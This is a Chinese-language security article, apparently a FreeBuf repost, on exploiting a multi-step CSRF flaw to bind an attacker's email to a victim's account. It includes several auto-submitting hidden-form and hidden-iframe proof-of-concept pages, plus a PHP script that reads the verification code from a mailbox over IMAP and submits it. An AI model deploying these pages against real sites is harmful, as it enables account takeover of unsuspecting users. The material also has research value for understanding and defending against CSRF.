自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

多步CSRF漏洞場景及其利用

安全 漏洞 應用安全
平時大家討論的CSRF利用多是發(fā)送一次請求。比如CSRF刷粉絲,CSRF發(fā)微博。本文主要討論一個稍微復雜點的利用場景。

CSRF的漏洞原理和利用方式這里就不多贅述了。平時大家討論的CSRF利用多是發(fā)送一次請求。比如CSRF刷粉絲,CSRF發(fā)微博。這里主要討論一個稍微復雜點的利用場景。

最近在做測試的時候遇到一個案例,用戶綁定郵箱的請求沒有防御CSRF。但是大家都知道綁定郵箱這個操作不是一步完成了。這次遇到的這個案例是這樣的。用戶發(fā)送一個申請綁定郵箱的請求,服務器給該郵箱發(fā)送一個驗證碼,然后用戶在頁面中輸入驗證碼完成綁定。

多步CSRF漏洞場景及其利用

從上圖的路程中可以看出。按照常見的csrf的漏洞來說,這里是沒法利用的。因為即使我們偽造了請求,讓用戶發(fā)出了綁定申請的郵件,還需要用戶把這個驗證碼在頁面上輸入才行。經過更進一步的分析發(fā)現,圖中4這一步也是沒有防御CSRF的。也就是說我們可以偽造兩次請求來實現CSRF綁定郵箱。這樣一個場景就是比較典型的多步CSRF。

有了思路就可以開始寫demo了。最初的想法:是不是用兩個表單就可以了呢。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST"  action=" https://www.example.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST"  action=" https://www.example.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11. <script> 
  12. document.getElementById("form1").submit();  
  13. window.setTimeout( function () { document.forms.form2.submit()}, 12000);    
  14. </script> 
  15. </body> 
  16. </html> 

測試發(fā)現這想法太天真了。***個表單提交之后,就會跳轉到返回的結果頁面了。第二個表單不會提交了。而且這里遇到的這個場景比較特殊,并不是僅僅是先后提交兩個表單就可以了。第二個表單里的值(驗證碼)是需要***個表單提交之后,從郵箱里讀出來再放到第二個表單里。經過查找資料。找到幾個解決方案。

解決方案1:

使用form的target屬性。target 屬性規(guī)定在何處打開 action URL。

多步CSRF漏洞場景及其利用

根據查到的資料。默認是_self。所以會跳到結果頁。我們使用_blank試試。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST"  target=';_blank' action=" https://www.example.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST" target='_blank' action=" https://www.example.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11. <script> 
  12. document.getElementById("form1").submit();  
  13. window.setTimeout( function () { document.forms.form2.submit()}, 12000);    
  14. </script> 
  15. </body> 
  16. </html> 

這種方式可以實現兩次post的需求,不過太過暴力。需要新彈出窗口不說。彈出窗口也很可能被瀏覽器攔截掉。

解決方案2:

target可以選擇一個frame。framename 在指定的框架中打開。所以可以這樣寫。這樣子可以比較優(yōu)雅的發(fā)兩個post請求。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST" target='csrfIframe1' action="https://www.baidu.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST" target='csrfIframe2' action="https://www.baidu.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11.  window.onload = function() {  
  12.  document.getElementById("form1").submit();  
  13.  // to make 2nd form wait for 1st, put the following in a function and use as a callback for a new timer  
  14.  document.getElementById("form2").submit();  
  15.  }  
  16. </script> 
  17. <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe1"></iframe> 
  18. <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe2"></iframe> 
  19. </body> </html> 

解決方案3:

使用iframe自然也是可以的。類似

  1. <iframe src="2post3.html" width="0" height="0"> 
  2. </iframe> 
  3. <iframe src="2post4.html" width="0" height="0"> 
  4. </iframe> 

##具體到郵箱驗證這個場景我使用了如下的一個poc。因為需要到郵箱中獲取驗證碼。所以使用了兩個文件。

文件1:發(fā)送申請郵箱綁定的請求:

  1. <html> 
  2. <body> 
  3. <!-- hidden iframes --> 
  4. <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe1"></iframe> 
  5. <form id="form1" action="http://xxxxxxxxxxx/security" method="POST" target="csrfIframe1"> 
  6. <input type="hidden" name="email" value="郵箱@qq.com" /> 
  7. </form> 
  8. <script> 
  9. document.getElementById("form1").submit();  
  10. </script> 
  11. <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe22" src="http://localhost/test/mail.php"></iframe> 
  12. </body> 
  13. </html> 

文件2:iframe的文件需要去郵箱獲取驗證碼拼到表單里。

  1. <?php  
  2. $mail = 'mail@qq.com';  
  3. $mailPass = 'pass';  
  4. sleep(2);//等待郵件發(fā)送  
  5. //以騰訊企業(yè)郵箱做了測試  
  6. $mailServer="imap.qq.com"//IMAP主機  
  7. $mailLink="{{$mailServer}:993/ssl}INBOX" ;   
  8. $mailUser = $mail//郵箱用戶名  
  9. $mbox = imap_open($mailLink,$mailUser,$mailPassor die("can't connect: " . imap_last_error()); //開啟信箱imap_open  
  10. $totalrows = imap_num_msg($mbox);   
  11. // echo $totalrows;//取得信件數  
  12. $numcode = '';  
  13. $mailBody = imap_fetchbody($mbox$totalrows, 1); //獲取***的一封郵件  
  14. $mailBody = base64_decode($mailBody);  
  15. preg_match('/\d{6}/',$mailBody,$res);//匹配驗證碼  
  16. $numcode = $res[0];  
  17. echo $numcode;  
  18. $form2 = '<html>  
  19. <body>  
  20. <form id="form2" action="http:xxxxxx" method="POST" target="csrfIframe2">  
  21. <input type="hidden" name="captchacode" value="'.$numcode.'" />  
  22. <input type="hidden" name="email" value="'.$mail.'" />  
  23. </form>  
  24. <script>  
  25. document.getElementById("form2").submit();</script>  
  26. </body>   
  27. </html>';  
  28. echo $form2

如有雷同純屬巧合。參考資料:

http://blog.opensecurityresearch.com/2014/05/multi-stagedmulti-form-csrf.html

http://ceriksen.com/2012/09/29/two-stage-csrf-attacks/

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2023-05-06 11:05:50

2013-04-24 15:56:40

2015-03-06 17:02:51

2016-09-28 16:38:47

2012-11-08 10:49:47

CSRF漏洞漏洞鮮果網

2014-07-17 15:47:52

2015-04-30 13:51:41

2011-05-10 09:55:14

2016-06-08 10:09:24

2019-09-17 10:06:46

數據庫程序員網絡安全

2021-03-06 09:50:43

漏洞網絡安全網絡攻擊

2013-03-11 18:04:02

2016-04-29 10:58:13

2022-04-01 10:04:27

]零日漏洞漏洞勒索軟件

2021-11-10 11:51:33

BrakTooth安全漏洞藍牙設備

2023-06-11 17:24:26

2020-10-14 09:44:52

漏洞

2016-01-12 10:44:00

2009-08-15 10:19:01

漏洞利用php expEXP程序

2013-03-22 10:00:14

點贊
收藏

51CTO技術棧公眾號